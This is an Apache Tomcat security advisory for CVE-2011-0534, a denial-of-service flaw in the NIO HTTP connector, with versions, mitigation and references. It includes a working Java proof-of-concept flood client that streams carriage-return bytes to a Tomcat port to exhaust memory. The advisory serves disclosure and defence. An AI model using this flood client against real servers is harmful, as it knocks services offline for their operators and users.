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CVE-2011-0534 Apache Tomcat DoS vulnerability

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- - Tomcat 7.0.0 to 7.0.6
- - Tomcat 6.0.0 to 6.0.30

Description:
Tomcat did not enforce the maxHttpHeaderSize limit while parsing the
request line in the NIO HTTP connector. A specially crafted request
could trigger an DoS via an OutOfMemoryError.

Example (AL2 licensed):
package bug50631;

import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;

public class FloodClient1 {
    static final int k_step = 10;
    static byte[] value = new byte[k_step * 1024];

    public static void main(String[] args) throws Exception {
        int i = 0;
        while (i < value.length) {
            value[i++] = 13;
        }
        SocketAddress addr = new InetSocketAddress("localhost", 8080);
        Socket socket = new Socket();
        socket.setSoTimeout(0);
        socket.connect(addr, 0);
        OutputStream os = socket.getOutputStream();
        // InputStream is = socket.getInputStream();

        int k = k_step;
        int m = 0;
        int k100 = 100;
        while (m < 2000) {
            if (k >= k100) {
                k100 += 100;
                System.out.print('.');
                System.out.flush();
            }
            if (k >= 1024) {
                m++;
                k -= 1024;
                k100 = 100;
                System.out.println(" " + m + " Mb");
            }
            os.write(value);
            os.flush();
            Thread.sleep(1);
            k+=k_step;
        }
    }
}

Mitigation:
Users of affected versions should apply one of the following mitigations
- - Upgrade to a Tomcat version where this issue is fixed
- - Use a BIO or AJP HTTP connector in place of an NIO HTTP connector

Credit:
The issue was identified by the Tomcat security team.

References:
https://issues.apache.org/bugzilla/show_bug.cgi?id=50631
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
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